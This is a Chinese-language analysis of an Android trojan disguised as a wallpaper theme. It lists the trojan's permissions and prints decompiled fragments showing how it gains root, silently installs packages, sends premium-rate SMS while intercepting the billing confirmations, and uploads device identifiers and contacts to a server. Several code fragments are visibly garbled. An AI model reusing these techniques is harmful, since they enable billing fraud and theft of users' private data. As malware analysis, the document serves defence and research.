一、Android木马介绍
Android系统比iPhone系统更开放,允许安装第三方应用程序,甚至是那些没有获得谷歌应用商店AndroidMarket批准的应用程序,但这种开放性似乎也增加了安全风险。AndroidMarke本身也发现了恶意软件感染的应用程序,不过用户可以像在个人电脑上所做的那样,通过安装杀毒软件来加以防范。
二.概述
该程序安装完是一款桌面主题,并可设置壁纸等。运行后获取ROOT权限,私自下载安装程序;并发送扣费短信,订制SP服务,拦截掉回执的扣费确认短信,恶意消耗用户资费;窃取用户通讯录信息等隐私资料,并上传到服务器。
三、样本特征
1.敏感权限
uses-permission android:name=android.permission.DELETE_PACKAGES /uses-permission uses-permission android:name=android.permission.INSTALL_PACKAGES /uses-permission uses-permission android:name=android.permission.READ_CONTACTS /uses-permission android.setting.START_SEND_SMS android.setting.SMS_SENT android.provider.Telephony.SMS_RECEIVED
2.入口点和恶意模块
publicclassMyReceiverextendsBroadcastReceiver{}
(1).发送拦截短信:
Stringstr39=android.setting.SMS_SENT; try { Stringstr41=arrayOfSmsMessage[i13].getOriginatingAddress(); localSmsManager4.sendMultipartTextMessage(str41, null, localArrayList5,localArrayList7,null); } if(!paramIntent.getAction().equals(android.provider.Telephony.SMS_RECEIVED)) if((arrayOfSmsMessage[i13].getOriginatingAddress().contains(10658166))|| (arrayOfSmsMessage[i13].getMessageBody().contains(83589523)) || || || || || || (arrayOfSmsMessage[i13].getMessageBody().contains( (arrayOfSmsMessage[i13].getMessageBody().contains( (arrayOfSmsMessage[i13].getMessageBody().contains(1.00 (arrayOfSmsMessage[i13].getMessageBody().contains(2.00 客资服费))))元))元)) (arrayOfSmsMessage[i13].getMessageBody().contains(元/条)) (arrayOfSmsMessage[i13].getMessageBody().contains(元/次))) abortBroadcast();
(2).获取ROOT权限,安装卸载程序:
privatevoidinstallApk(StringparamString1,StringparamString2) try { RuntimelocalRuntime=Runtime.getRuntime(); StringBuilderlocalStringBuilder=newStringBuilder(sudopm install-r); FilelocalFile2=this.mContext.getFilesDir(); Stringstr=localFile2+/+paramString2; ProcesslocalProcess=localRuntime.exec(str); } privatevoidinstallAPK() privatevoiduninstallPlugin() { try { inti=Log.d(agui,uninstall); ProcesslocalProcess=Runtime.getRuntime().exec(pmuninstall-r android远程监控技术 com.newline.root); IntentlocalIntent1=newIntent(android.intent.action.RUN); ContextlocalContext=this.mContext; IntentlocalIntent2=localIntent1.setClass(localContext,MyService.class); ComponentName localComponentName = this.mContext.startService(localIntent1); return; }
(3).窃取上传隐私资料:
Stringstr8=Long.toString(System.currentTimeMillis()); ObjectlocalObject1=localHashtable.put(id,str8); ObjectlocalObject2=localHashtable.put(imsi,str4); ObjectlocalObject3=localHashtable.put(imei,str5); ObjectlocalObject4=localHashtable.put(iccid,str6); ObjectlocalObject5=localHashtable.put(mobile,str7); Stringstr9=TimeUtil.dateToString(newDate(),yyyyMMddHHmmss); ObjectlocalObject6=localHashtable.put(ctime,str9); ObjectlocalObject7=localHashtable.put(osver,1); ObjectlocalObject8=localHashtable.put(cver,010101); ObjectlocalObject9=localHashtable.put(uid,str1); ObjectlocalObject10=localHashtable.put(bid,str2); ObjectlocalObject11=localHashtable.put(pid,str3); ObjectlocalObject12=localHashtable.put(softid,paramString2); MessageService.4 local4 = new MessageService.4(this, paramIResponseListener); NetTasklocalNetTask=newNetTask(localHashtable,utf-8,0,local4); String[]arrayOfString=newString[1]; arrayOfString[0]=paramString1; AsyncTasklocalAsyncTask=localNetTask.execute(arrayOfString); publicclassNetTaskextendsAsyncTaskString,Integer,String protectedStringdoInBackground(String[]paramArrayOfString) URLlocalURL1=newjava/net/URL; Stringstr5=localStringBuffer1.toString(); URLlocalURL2=localURL1; Stringstr6=str5; localURL2.init(str6); localHttpURLConnection = (HttpURLConnection)localURL1.openConnection(); localHttpURLConnection.setRequestMethod(GET); localHttpURLConnection.setConnectTimeout(5000); localHttpURLConnection.setReadTimeout(5000);
3.敏感字符串
(sudopminstall-r); installAPK(); contains(10658166) contains(83589523) contains(客服)contains(资费)
四、行为分析
运行后获取ROOT权限,私自下载安装程序;并发送扣费短信,订制SP服务,拦截掉回执的扣费确认短信,恶意消耗用户资费;窃取用户通讯录信息等隐私资料,并上传到服务器。
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。作者不鼓励或支持任何形式的非法行为。